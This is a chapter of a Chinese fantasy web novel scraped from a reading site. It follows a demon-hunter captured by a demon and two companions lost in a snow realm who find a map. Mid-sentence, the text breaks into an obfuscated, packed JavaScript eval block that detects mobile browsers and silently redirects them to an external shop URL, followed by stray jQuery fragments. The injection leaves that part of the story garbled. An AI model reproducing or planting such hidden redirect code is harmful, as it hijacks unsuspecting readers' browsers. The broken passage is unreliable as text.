文趣网 > 其他小说 > 下山第一天我偷了师兄的百草园 > 43. 雪域(七)地图
    厉风庸没听懂他话里的意思,皱了眉冷声质问道:

    “你这话是什么意思?”

    庄恒微微抬了一下眼皮看了厉风庸一眼,然后乖乖在在地上躺平,好脾气地解释道:

    “她快死了。”

    厉风庸是不相信的,她要是快死了,她师兄还有闲心在这里瞎晃悠?

    真当我是傻子?

    厉风庸显然不相信庄恒所说的话,冷声反问:

    “她快死了你怎么还在这?”

    庄恒好整以暇地把两只手垫到头下方,望着眼前薄雾淡云,语气中颇有无奈,“我也没办法啊,我救不了她。”

    他继续道,“聚贤林,我只能告诉你到这了,要杀要剐,悉听尊便吧。”

    悉听尊便是假的,庄恒手里早已握住了淬了软骨毒的梨花针。

    他若是听了自己这套说辞,便也算是救了他自己。

    不过,可不是我打不过他,是这人一次两次都是偷袭的我。

    若是正面较量,还不一定谁胜谁负呢。

    厉风庸半垂着眸子犹豫片刻,恐庄恒使诈骗他离开,决定带着庄恒一同前往聚贤林。

    他上前两步,口中念念有词:

    “你跟我一起去。”

    厉风庸正准备去抓起庄恒,可突然一阵妖风袭来,直吹的天地变色,风沙漫天。

    厉风庸只得先抬手挡住风沙,待风沙过后,厉风庸放下手,地上哪还有庄恒的影子。

    跑了?

    该死。

    厉风庸心中愤懑,狠狠捶了自己大腿一下,这才自顾自施展轻功往聚贤林赶了。

    ——

    皇都繁华,自然不乏人丁。

    百姓在城中往来匆匆,低着头匆匆归家,又或者三两一团聚在一起攀谈着些什么。

    如此这般,他们自然看不到,十丈城墙之上,一黄衣女子正抱着一男子面对着城中百物默然而立。

    庄恒小心翼翼地窝在芊越怀里,整张脸皱得像个倭瓜。

    他终是耐不住性子,试探性地问了一句,“我说,要不,你先把我放下来?”

    芊越听了,立马摇了摇头,直白地拒绝,“不行,为了救你,我可是丢了我最喜欢的冰糖葫芦。”

    什么冰糖葫芦不冰糖葫芦的,我居幽谷第一美男不比那冰糖葫芦重要多了?

    虽然心里这么想,庄恒嘴上还是求生欲强烈,赶紧讨好道:

    “那我这就去给你买,我把整个摊位的冰糖葫芦全给你买下来!”

    他见芊越没有拒意,赶紧接着讨好,“所以,你把我放下来,好不好?”

    他一个首屈一指的捉妖师,被一个女妖怪抱在怀里,还是在城墙之上,属实不太体面。

    可是他现在脚下没有支点,施展不了轻功,暂时就只能任她摆布了。

    芊越闻言狡黠一笑,“好啊。”

    她说完,两条胳膊往前一送,又抽了回来,毫不费力地把庄恒丢了下去。

    庄恒的身体没有支点,施展不出轻功,只能呈自由落体飞速朝下落去。

    “啊?”

    “喂你!”

    “啊啊啊啊啊啊——”

    惨了,这下惨了。

    这样摔下去,不是摔死至少也要摔个半身不遂。

    究竟是为什么我要叫她放手啊啊啊啊!

    就在庄恒快落地的刹那,芊越突然施了个妖法,定住了他。

    她拍拍手,慢悠悠地从城墙上飞下去,解了术法,弯下腰去用两根手指微微牵起庄恒的后领,漫不经心道:

    “庄公子,现在愿不愿意配合我?”

    庄恒听了,无助地瞄了芊越一眼,赶紧用力地拼命点头,“好好好,都听你的都听你的。”

    芊越满意地点点头,纤手一挥,解了妖法,让庄恒落了地。

    庄恒“砰”的一声摔到地上,伴随着这厚重的落地声,四周的行人和街景又重新开始流动起来。

    庄恒转头看了看四周,赶紧装作若无其事地从地上爬起来。

    其实落了地,庄恒就已经有能力与芊越争个高下了。

    当然,除了被她偷袭。

    不过现在看来,和她打一架属实没有必要。

    他正好也想看看,芊越葫芦里卖的什么药。

    如此法力,之前却一直装弱潜伏在他们身边,究竟是为了什么?

    她到底想干什么呢?

    许是看出庄恒心中的困惑,芊越莞尔一笑,轻轻扯了扯唇角,“我要见你师父。”

    庄恒怎么都没想到,她居然会提出这么个要求。

    见我师父?

    她见我师父做什么?

    师父常年隐居山中,不问世事,亦少为世人所知。武功术数,也都自成一派,没有流传出去。

    她想见师父,会是为了什么?

    何况,依着师父的性格,带她回去,师父怕是要把我煮了吃了吧。

    总不能把她带回居幽谷暴露老巢,那不如先找个地方糊弄一下她,再想个办法联系师父。

    好,就这样。

    庄恒暗暗打定了主意,抬手打了个响指,回头应道:

    “这还不简单,好啊,成交。”

    芊越轻笑一声,一个闪身到庄恒身后,揪着庄恒的衣领强迫他倒退着跟自己走,傲娇道:

    “不过你得先把冰糖葫芦赔给我。”

    “走啦走啦。”

    庄恒踉踉跄跄地倒退着被她拖着走,气不打一处来,“喂,你倒是先放开我啊!”

    臭章鱼,早晚有一天我把你煲了做章鱼汤!

    ——

    雪域。

    封栩栩在木屋里翻找了许久,也没找到什么能用的物件,只好作罢。

    她拿起桌上的茶水,一股脑地泼向莫烟启,然后迅速蹲下身子一脸焦急地看着他。

    一股热意袭来,莫烟启缓缓恢复了意识,慢慢睁开了双眼。

    封栩栩正蹲在他面前,一脸担心地望着他。

    他看到这幅场景,没由来的,心里升腾起一股暖意。

    见他醒了,封栩栩莞尔一笑,一阵假惺惺的嘘寒问暖:

    “少爷,你醒了啊,你怎么样,有没有事?有没有受伤?”

    莫烟启慢慢适应了屋里的光线,渐渐恢复了意识。

    他抬手用力擦了一下脸上的水,满头雾水道,“我这是怎么了?”

    封栩栩立马贴心地解答,“刚刚你喝了那女子给你倒的那杯茶水,就晕倒了。”

    莫烟启仔细想想,自己好像确实是从那时候开始没有记忆的。

    他扫视四周,发现屋中并无那女子的踪迹,眉头一皱,追问道:

    “那她人呢?”

    封栩栩自然知道他指的是谁,立马低垂着头委委屈屈掐头去尾地答道:

    “二公子,刚刚你晕倒之后,整个屋子突然震动起来,我好不容易才稳住。一回头,她就不见了。”

    莫烟启慢慢用袖子擦干了脸上的水,眼神慢慢往上抬,最终聚焦在封栩栩那双波光粼粼的杏眸上。

    他眸色晦暗不明,视线落在封栩栩那张写满无辜的脸上,出言询问道:

    “她不见了,那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766942|209739||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刚刚,是谁泼的我?”

    遭了,忘了这茬了!

    闻言,封栩栩表情一变,片刻之后她迅速缩着身子撅起嘴开始装无辜:

    “自然是那女子泼的,总不可能是我。”

    她这么说完,还又撅了噘嘴,冲莫烟启眨了眨波光潋滟的双眼。

    莫烟启的嘴角抽了抽,总觉得事出反常必有妖。

    你这幅样子,我看是你吧。

    莫烟启抬眼瞥了她一眼,无奈地摇摇头,从凳子上起身,“这里也不知道安不安全,我们赶快离开这里吧。”

    见他没有追责的意思,封栩栩暗暗松了一口气。

    闻言,封栩栩立马从地上窜起来,拉着莫烟启就往外走,“好嘞好嘞,少爷走走走。”

    二人刚出木屋的门,雪域里突然飘起了零零星星的雪花。

    下雪了?

    封栩栩看着这飘飘洒洒的白色雪花,突然生了点心念。

    她放开莫烟启的衣角,笑嘻嘻地抬手去接空中的雪花。

    一片雪花在空中旋转了几圈,慢慢落于她掌心。

    让她没想到的是,那片雪花上有种奇异的冰凉,冷得她微微颤了一下。

    更奇怪的是,那片雪花并未融于她掌心,只是静静躺在上面,久久未融化。

    啊这,这是怎么回事?

    封栩栩心中惊慌,急忙用力地甩甩手,抖掉掌心的雪花。

    那片雪花慢悠悠地继续下坠,最终落在地上,碎裂开来。

    与此同时,一股淡色的轻烟从中缓缓扩散开来。

    那股轻烟有股淡淡的香味,几缕香气钻进封栩栩的鼻腔,她突然觉得有些头晕。

    遭了,不对劲!

    “快回去,这雪有问题!”

    封栩栩大喊一声,急忙回身拉了莫烟启一把,抓着他转身往木屋的方向跑。

    可他们一转身,这才发现,身后,哪还有木屋的影子。

    遭了!

    如今在这雪域里,我们两个一不清楚出去的路,二不会抵御妖法的道术,可怎么同这雪域里的妖怪抗衡啊。

    诶,等等。

    路?

    我记得进雪域之前,路青行给了我张羊皮地图。

    那会不会和这雪域有关?

    封栩栩赶紧在衣服里摸出那张羊皮地图,慌慌张张地打开。

    路青行还真是神机妙算,竟然连这一步都算到了。

    “这处,应该就是刚刚的木屋了。”

    她把地图推到莫烟启面前,指着图上的一个小房子对莫烟启道。

    莫烟启看了看羊皮地图,又看了看封栩栩,疑惑道:

    “地图?你是从何得来这雪域的地图的?”

    生死攸关的时候,封栩栩哪里愿意跟他解释,只随口敷衍道,“我有个神机妙算的朋友。”

    虽然还没见过路青行,但路青行百般筹谋帮她,在她心里,已经把路青行默认成朋友啦。

    封栩栩又低头看了看地图,仔细找了找方位,然后指了指北边,“往那边走。”

    莫烟启点点头,走在前面替她探路。

    封栩栩收起羊皮地图的时候,突然摸到地图的夹层,似乎有什么东西。

    她施了个术法,割开羊皮地图的一脚,把里面的锦囊取了出来。

    锦囊?

    怎么放这么个玩意在里面,这路青行还真是奇怪。

    打开之后,该不会又是话本里写的赶快跑之类的废话吧?

    生死攸关,她没空管着锦囊里装的是什么,只随手揣进怀里,就去跟上莫烟启了。